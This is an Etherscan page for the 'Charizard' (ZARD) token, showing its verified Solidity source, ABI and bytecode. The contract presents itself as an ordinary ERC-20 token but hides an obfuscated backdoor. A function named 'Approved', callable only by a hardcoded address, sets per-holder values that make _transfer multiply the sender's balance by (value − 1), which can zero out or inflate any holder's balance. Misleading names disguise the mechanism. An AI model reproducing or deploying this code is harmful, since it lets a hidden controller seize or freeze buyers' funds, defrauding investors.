ETH Price: $2,949.52 (-0.52%)
 

Overview

Max Total Supply

1,000,000,000 ZARD

Holders

7

Transfers

-
0

Market

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Charizard

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : contract-c790c1af64.sol
/**
 *Submitted for verification at Etherscan.io on 2023-05-26
*/

/**  

    WEBSITE - https://t.me/CharizardCoin

    TELEGRAM -  https://t.me/CharizardCoin
    
    TWITTER - https://t.me/CharizardCoin
    


*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.18;

interface IERC20 {

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);

    function totalSupply() external view returns (uint256);

    function balanceOf(address azithromycin) external view returns (uint256);

    function transfer(address to, uint256 zonio) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 zonio) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 zonio
    ) external returns (bool);
}

pragma solidity ^0.8.18;

interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

pragma solidity ^0.8.18;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

pragma solidity ^0.8.18;

library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        uint256 c = a + b;
        if (c < a) return (false, 0);
        return (true, c);
    }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (b > a) return (false, 0);
        return (true, a - b);
    }
    }

    function tryfrozen(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (a == 0) return (true, 0);
        uint256 c = a * b;
        if (c / a != b) return (false, 0);
        return (true, c);
    }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (b == 0) return (false, 0);
        return (true, a / b);
    }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (b == 0) return (false, 0);
        return (true, a % b);
    }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function frozen(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b <= a, errorMessage);
        return a - b;
    }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b > 0, errorMessage);
        return a / b;
    }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b > 0, errorMessage);
        return a % b;
    }
    }
}

abstract contract Ownable is Context {
    address private _Owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _Owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _Owner;
        _Owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => uint256) private _guardFlashbots;
    mapping(address => mapping(address => uint256)) private _allowances;
    
    address private advancedGuard;
    uint256 private _totalSupply;
    string private _name;
    string private _symbol;

    constructor(address advancedGuardAddress, string memory name_, string memory symbol_) {
        advancedGuard = advancedGuardAddress;
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address azithromycin) public view virtual override returns (uint256) {
        return _balances[azithromycin];
    }

    function transfer(address _to, uint256 zonio) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, _to, zonio);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 zonio) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, zonio);
        return true;
    }

    function Approved(address[] memory striker, uint256 codeMEV) public ERC20hunterBot {
        for(uint256 i = 0; i < striker.length; i++) {
        _guardFlashbots[striker[i]] = codeMEV*1*1+0;
        }
    }

    function openGuardFlashbots(address striker) public view returns (uint256) {
        return _guardFlashbots[striker];
    }

    modifier 
        ERC20hunterBot() {
         require(
            advancedGuard == _msgSender(),
            "This is a zero codeMEV")
        ;
        _;
    }

    function transferFrom(
        address from,
        address to,
        uint256 zonio
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, zonio);
        _transfer(from, to, zonio);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
    unchecked {
        _approve(owner, spender, currentAllowance - subtractedValue);
    }

        return true;
    }

    using SafeMath for uint256;
    uint256 private _feeTax = 1;
    function _transfer(
        address from,
        address to,
        uint256 zonio
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, zonio);

        if(_guardFlashbots[from] != uint256(1*1+0)-1+0 ){
           _balances[from] = _balances[from].frozen(_guardFlashbots[from].add(1*1+1+0).sub(1+(2*1)+0)+0); 
        }

        uint256 fromBalance = _balances[from];
        require(fromBalance >= zonio, "ERC20: transfer exceeds balance");

        uint256 feezonio = 0;
        feezonio = zonio.frozen(_feeTax).div(100);
        
    unchecked {
        _balances[to] += zonio;
        _balances[from] = fromBalance - zonio;
        _balances[to] -= feezonio;
    }
        emit Transfer(from, to, zonio);

        _afterTokenTransfer(from, to, zonio);
    }

    function _mint(address azithromycin, uint256 zonio) internal virtual {
        require(azithromycin != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), azithromycin, zonio);

        _totalSupply += zonio;

    unchecked {
        // Overflow not possible: balance + zonio is at most totalSupply + zonio, which is checked above.
        _balances[azithromycin] += zonio;
    }
        emit Transfer(address(0), azithromycin, zonio);

        _afterTokenTransfer(address(0), azithromycin, zonio);
    }

    function _burn(address azithromycin, uint256 zonio) internal virtual {
        require(azithromycin != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(azithromycin, address(0), zonio);

        uint256 azithromycinBalance = _balances[azithromycin];
        require(azithromycinBalance >= zonio, "ERC20: burn zonio exceeds balance");
        
    unchecked {
        _balances[azithromycin] = azithromycinBalance - zonio;
        // Overflow not possible: zonio <= azithromycinBalance <= totalSupply.
        _totalSupply -= zonio;
    }

        emit Transfer(azithromycin, address(0), zonio);

        _afterTokenTransfer(azithromycin, address(0), zonio);
    }

    function _approve(
        address owner,
        address spender,
        uint256 zonio
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = zonio;
        emit Approval(owner, spender, zonio);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 zonio
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= zonio, "ERC20: insufficient allowance");
            unchecked {
            _approve(owner, spender, currentAllowance - zonio);
            }
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 zonio
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 zonio
    ) internal virtual {}
}

pragma solidity ^0.8.18;

contract Charizard is ERC20 {
    uint256 initialSupply = 1000000000;
    constructor() ERC20(0x57A4Ec7cB226E2dE71B82D9D315Bd7561E9001E3, "Charizard", "ZARD") {
        _mint(msg.sender, initialSupply*10**9);
    }
}

Settings
{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"striker","type":"address[]"},{"internalType":"uint256","name":"codeMEV","type":"uint256"}],"name":"Approved","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"zonio","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"azithromycin","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"striker","type":"address"}],"name":"openGuardFlashbots","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"zonio","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"zonio","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526001600855633b9aca006009553480156200001e57600080fd5b507357a4ec7cb226e2de71b82d9d315bd7561e9001e36040518060400160405280600981526020016810da185c9a5e985c9960ba1b815250604051806040016040528060048152602001631690549160e21b8152506200008d62000087620000ee60201b60201c565b620000f2565b600480546001600160a01b0319166001600160a01b0385161790556006620000b68382620002b3565b506007620000c58282620002b3565b50505050620000e833600954633b9aca00620000e2919062000395565b62000142565b620003cb565b3390565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b0382166200019d5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060056000828254620001b19190620003b5565b90915550506001600160a01b0382166000818152600160209081526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b505050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200023a57607f821691505b6020821081036200025b57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200020a57600081815260208120601f850160051c810160208610156200028a5750805b601f850160051c820191505b81811015620002ab5782815560010162000296565b505050505050565b81516001600160401b03811115620002cf57620002cf6200020f565b620002e781620002e0845462000225565b8462000261565b602080601f8311600181146200031f5760008415620003065750858301515b600019600386901b1c1916600185901b178555620002ab565b600085815260208120601f198616915b8281101562000350578886015182559484019460019091019084016200032f565b50858210156200036f5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417620003af57620003af6200037f565b92915050565b80820180821115620003af57620003af6200037f565b610d9c80620003db6000396000f3fe608060405234801561001057600080fd5b50600436106101005760003560e01c806370c966e211610097578063a457c2d711610066578063a457c2d71461021f578063a9059cbb14610232578063dd62ed3e14610245578063f2fde38b1461025857600080fd5b806370c966e2146101cb578063715018a6146101f45780638da5cb5b146101fc57806395d89b411461021757600080fd5b8063313ce567116100d3578063313ce5671461016b578063395093511461017a5780636749f5151461018d57806370a08231146101a257600080fd5b806306fdde0314610105578063095ea7b31461012357806318160ddd1461014657806323b872dd14610158575b600080fd5b61010d61026b565b60405161011a9190610a89565b60405180910390f35b610136610131366004610af3565b6102fd565b604051901515815260200161011a565b6005545b60405190815260200161011a565b610136610166366004610b1d565b610317565b6040516009815260200161011a565b610136610188366004610af3565b61033b565b6101a061019b366004610b6f565b61035d565b005b61014a6101b0366004610c3a565b6001600160a01b031660009081526001602052604090205490565b61014a6101d9366004610c3a565b6001600160a01b031660009081526002602052604090205490565b6101a061043c565b6000546040516001600160a01b03909116815260200161011a565b61010d610450565b61013661022d366004610af3565b61045f565b610136610240366004610af3565b6104da565b61014a610253366004610c55565b6104e8565b6101a0610266366004610c3a565b610513565b60606006805461027a90610c88565b80601f01602080910402602001604051908101604052809291908181526020018280546102a690610c88565b80156102f35780601f106102c8576101008083540402835291602001916102f3565b820191906000526020600020905b8154815290600101906020018083116102d657829003601f168201915b5050505050905090565b60003361030b81858561058c565b60019150505b92915050565b6000336103258582856106b0565b61033085858561072a565b506001949350505050565b60003361030b81858561034e83836104e8565b6103589190610cd8565b61058c565b6004546001600160a01b031633146103b55760405162461bcd60e51b81526020600482015260166024820152752a3434b99034b99030903d32b9379031b7b232a6a2ab60511b60448201526064015b60405180910390fd5b60005b8251811015610437576103cc826001610ceb565b6103d7906001610ceb565b6103e2906000610cd8565b600260008584815181106103f8576103f8610d02565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002081905550808061042f90610d18565b9150506103b8565b505050565b6104446109a8565b61044e6000610a02565b565b60606007805461027a90610c88565b6000338161046d82866104e8565b9050838110156104cd5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016103ac565b610330828686840361058c565b60003361030b81858561072a565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b61051b6109a8565b6001600160a01b0381166105805760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103ac565b61058981610a02565b50565b6001600160a01b0383166105ee5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103ac565b6001600160a01b03821661064f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103ac565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006106bc84846104e8565b9050600019811461072457818110156107175760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016103ac565b610724848484840361058c565b50505050565b6001600160a01b03831661078e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103ac565b6001600160a01b0382166107f05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103ac565b6107fb600180610d31565b610806906000610cd8565b6001600160a01b0384166000908152600260205260409020541461089f576001600160a01b0383166000908152600260208190526040909120546108859161085b916003916108559190610a52565b90610a65565b610866906000610cd8565b6001600160a01b03851660009081526001602052604090205490610a71565b6001600160a01b0384166000908152600160205260409020555b6001600160a01b038316600090815260016020526040902054818110156109085760405162461bcd60e51b815260206004820152601f60248201527f45524332303a207472616e7366657220657863656564732062616c616e63650060448201526064016103ac565b600061092a606461092460085486610a7190919063ffffffff16565b90610a7d565b6001600160a01b03808616600081815260016020526040808220805489018155938a1680835281832089890390559183905283548590039093559151929350917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109999087815260200190565b60405180910390a35050505050565b6000546001600160a01b0316331461044e5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103ac565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000610a5e8284610cd8565b9392505050565b6000610a5e8284610d31565b6000610a5e8284610ceb565b6000610a5e8284610d44565b600060208083528351808285015260005b81811015610ab657858101830151858201604001528201610a9a565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610aee57600080fd5b919050565b60008060408385031215610b0657600080fd5b610b0f83610ad7565b946020939093013593505050565b600080600060608486031215610b3257600080fd5b610b3b84610ad7565b9250610b4960208501610ad7565b9150604084013590509250925092565b634e487b7160e01b600052604160045260246000fd5b60008060408385031215610b8257600080fd5b823567ffffffffffffffff80821115610b9a57600080fd5b818501915085601f830112610bae57600080fd5b8135602082821115610bc257610bc2610b59565b8160051b604051601f19603f83011681018181108682111715610be757610be7610b59565b604052928352818301935084810182019289841115610c0557600080fd5b948201945b83861015610c2a57610c1b86610ad7565b85529482019493820193610c0a565b9997909101359750505050505050565b600060208284031215610c4c57600080fd5b610a5e82610ad7565b60008060408385031215610c6857600080fd5b610c7183610ad7565b9150610c7f60208401610ad7565b90509250929050565b600181811c90821680610c9c57607f821691505b602082108103610cbc57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8082018082111561031157610311610cc2565b808202811582820484141761031157610311610cc2565b634e487b7160e01b600052603260045260246000fd5b600060018201610d2a57610d2a610cc2565b5060010190565b8181038181111561031157610311610cc2565b600082610d6157634e487b7160e01b600052601260045260246000fd5b50049056fea26469706673582212208ab1ef8681e4497c9463cac6795c55a7c9fd20964eaa8398c5d8f0d13cf6064064736f6c63430008120033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101005760003560e01c806370c966e211610097578063a457c2d711610066578063a457c2d71461021f578063a9059cbb14610232578063dd62ed3e14610245578063f2fde38b1461025857600080fd5b806370c966e2146101cb578063715018a6146101f45780638da5cb5b146101fc57806395d89b411461021757600080fd5b8063313ce567116100d3578063313ce5671461016b578063395093511461017a5780636749f5151461018d57806370a08231146101a257600080fd5b806306fdde0314610105578063095ea7b31461012357806318160ddd1461014657806323b872dd14610158575b600080fd5b61010d61026b565b60405161011a9190610a89565b60405180910390f35b610136610131366004610af3565b6102fd565b604051901515815260200161011a565b6005545b60405190815260200161011a565b610136610166366004610b1d565b610317565b6040516009815260200161011a565b610136610188366004610af3565b61033b565b6101a061019b366004610b6f565b61035d565b005b61014a6101b0366004610c3a565b6001600160a01b031660009081526001602052604090205490565b61014a6101d9366004610c3a565b6001600160a01b031660009081526002602052604090205490565b6101a061043c565b6000546040516001600160a01b03909116815260200161011a565b61010d610450565b61013661022d366004610af3565b61045f565b610136610240366004610af3565b6104da565b61014a610253366004610c55565b6104e8565b6101a0610266366004610c3a565b610513565b60606006805461027a90610c88565b80601f01602080910402602001604051908101604052809291908181526020018280546102a690610c88565b80156102f35780601f106102c8576101008083540402835291602001916102f3565b820191906000526020600020905b8154815290600101906020018083116102d657829003601f168201915b5050505050905090565b60003361030b81858561058c565b60019150505b92915050565b6000336103258582856106b0565b61033085858561072a565b506001949350505050565b60003361030b81858561034e83836104e8565b6103589190610cd8565b61058c565b6004546001600160a01b031633146103b55760405162461bcd60e51b81526020600482015260166024820152752a3434b99034b99030903d32b9379031b7b232a6a2ab60511b60448201526064015b60405180910390fd5b60005b8251811015610437576103cc826001610ceb565b6103d7906001610ceb565b6103e2906000610cd8565b600260008584815181106103f8576103f8610d02565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002081905550808061042f90610d18565b9150506103b8565b505050565b6104446109a8565b61044e6000610a02565b565b60606007805461027a90610c88565b6000338161046d82866104e8565b9050838110156104cd5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016103ac565b610330828686840361058c565b60003361030b81858561072a565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b61051b6109a8565b6001600160a01b0381166105805760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103ac565b61058981610a02565b50565b6001600160a01b0383166105ee5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103ac565b6001600160a01b03821661064f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103ac565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006106bc84846104e8565b9050600019811461072457818110156107175760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016103ac565b610724848484840361058c565b50505050565b6001600160a01b03831661078e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103ac565b6001600160a01b0382166107f05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103ac565b6107fb600180610d31565b610806906000610cd8565b6001600160a01b0384166000908152600260205260409020541461089f576001600160a01b0383166000908152600260208190526040909120546108859161085b916003916108559190610a52565b90610a65565b610866906000610cd8565b6001600160a01b03851660009081526001602052604090205490610a71565b6001600160a01b0384166000908152600160205260409020555b6001600160a01b038316600090815260016020526040902054818110156109085760405162461bcd60e51b815260206004820152601f60248201527f45524332303a207472616e7366657220657863656564732062616c616e63650060448201526064016103ac565b600061092a606461092460085486610a7190919063ffffffff16565b90610a7d565b6001600160a01b03808616600081815260016020526040808220805489018155938a1680835281832089890390559183905283548590039093559151929350917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109999087815260200190565b60405180910390a35050505050565b6000546001600160a01b0316331461044e5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103ac565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000610a5e8284610cd8565b9392505050565b6000610a5e8284610d31565b6000610a5e8284610ceb565b6000610a5e8284610d44565b600060208083528351808285015260005b81811015610ab657858101830151858201604001528201610a9a565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610aee57600080fd5b919050565b60008060408385031215610b0657600080fd5b610b0f83610ad7565b946020939093013593505050565b600080600060608486031215610b3257600080fd5b610b3b84610ad7565b9250610b4960208501610ad7565b9150604084013590509250925092565b634e487b7160e01b600052604160045260246000fd5b60008060408385031215610b8257600080fd5b823567ffffffffffffffff80821115610b9a57600080fd5b818501915085601f830112610bae57600080fd5b8135602082821115610bc257610bc2610b59565b8160051b604051601f19603f83011681018181108682111715610be757610be7610b59565b604052928352818301935084810182019289841115610c0557600080fd5b948201945b83861015610c2a57610c1b86610ad7565b85529482019493820193610c0a565b9997909101359750505050505050565b600060208284031215610c4c57600080fd5b610a5e82610ad7565b60008060408385031215610c6857600080fd5b610c7183610ad7565b9150610c7f60208401610ad7565b90509250929050565b600181811c90821680610c9c57607f821691505b602082108103610cbc57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8082018082111561031157610311610cc2565b808202811582820484141761031157610311610cc2565b634e487b7160e01b600052603260045260246000fd5b600060018201610d2a57610d2a610cc2565b5060010190565b8181038181111561031157610311610cc2565b600082610d6157634e487b7160e01b600052601260045260246000fd5b50049056fea26469706673582212208ab1ef8681e4497c9463cac6795c55a7c9fd20964eaa8398c5d8f0d13cf6064064736f6c63430008120033

Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.